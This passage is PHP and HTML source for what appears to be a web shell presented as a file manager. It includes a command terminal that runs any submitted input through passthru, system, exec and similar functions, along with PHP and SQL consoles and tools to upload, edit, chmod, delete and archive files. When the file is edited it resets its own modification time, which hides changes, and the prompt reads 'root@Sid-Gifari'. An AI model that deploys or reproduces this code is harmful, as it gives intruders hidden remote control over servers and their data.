dElNRQfcCAwGMhleGAKOAAAByElEQVQ4y8WTT2sUQRDFf9XTM+PGIBHdEEQR8eAfggaPHvTuyU+i+A38AF48efJbKB5zE0IMAVcCiRhQE8gmm111s9mZ3Zl+Hmay5qAY8GBDdTWPeo9HVRf872O9xVv3/JnrCygIU406K/qbrbP3Vxb/qjD8+OSNtC+VX6RiUyrWpXJD2aenfyR3Xs9N3h5rFIw6EAYQxsAIKMFx+cfSg0dmFk+qJaQyGu0tvwT2KwEZhANQWZGVg3LS83eupM2F5yiDkE9wDPZ762vQfVUJhIKQ7TDaW8TiacCO2lNnd6xjlYvpm49f5FuNZ+XBxpon5BTfWqSzN4AELAFLq+wSbILFdXgguoibUj7+vu0RKG9jeYHk6uIEXIosQZZiNWYuQSQQTWFuYEV3acXTfwdxitKrQAwumYiYO3JzCkVTyDWwsg+DVZR9YNTL3nqNDnHxNBq2f1mc2I1AgnAIRRfGbVQOamenyQ7ay74sI3z+FWWH9aiOrlCFBOaqqLoIyijw+YWHW9u+CKbGsIc0/s2X0bFpHMNUEuKZVQC/2x0mM00P8idfAAetz2ETwG5fa87PnosuhYBOyo8cttMJW+83dlv/tIl3F+b4CYyp2Txw2VUwAAAAAElFTkSuQmCC");
}

.file {
    background-image: url("data:image/png;base64,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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>

</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
<?php
session_start();

// Allowed functions
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];

// Check if at least one is available
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

// Initialize cwd
if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Change directory if POSTed
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];
$output = "";

// Process terminal input
if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    // Handle cd
    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);

        if ($dir === '' || $dir === '~') {
            $dir = $_SERVER['DOCUMENT_ROOT'] ?? $cwd;
        } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }

        $realDir = realpath($dir);

        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }

    } else {

        if ($canExecute) {

            // Change working directory
            chdir($cwd);

            // Allow safe characters; do NOT break arguments
            $cmd = $cmdInput . " 2>&1";

            // PRIORITY: passthru first
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();

            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);

            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);

            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);

                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }

            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }

            } else {
                $output = "Error: No command execution functions available.";
            }

        } else {
            $output = "Command execution functions are disabled on this server.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;
?>

<strong>root@Sid-Gifari:<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre><?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd" />
    <input type="hidden" name="path" value="<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute" />
</form>


</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
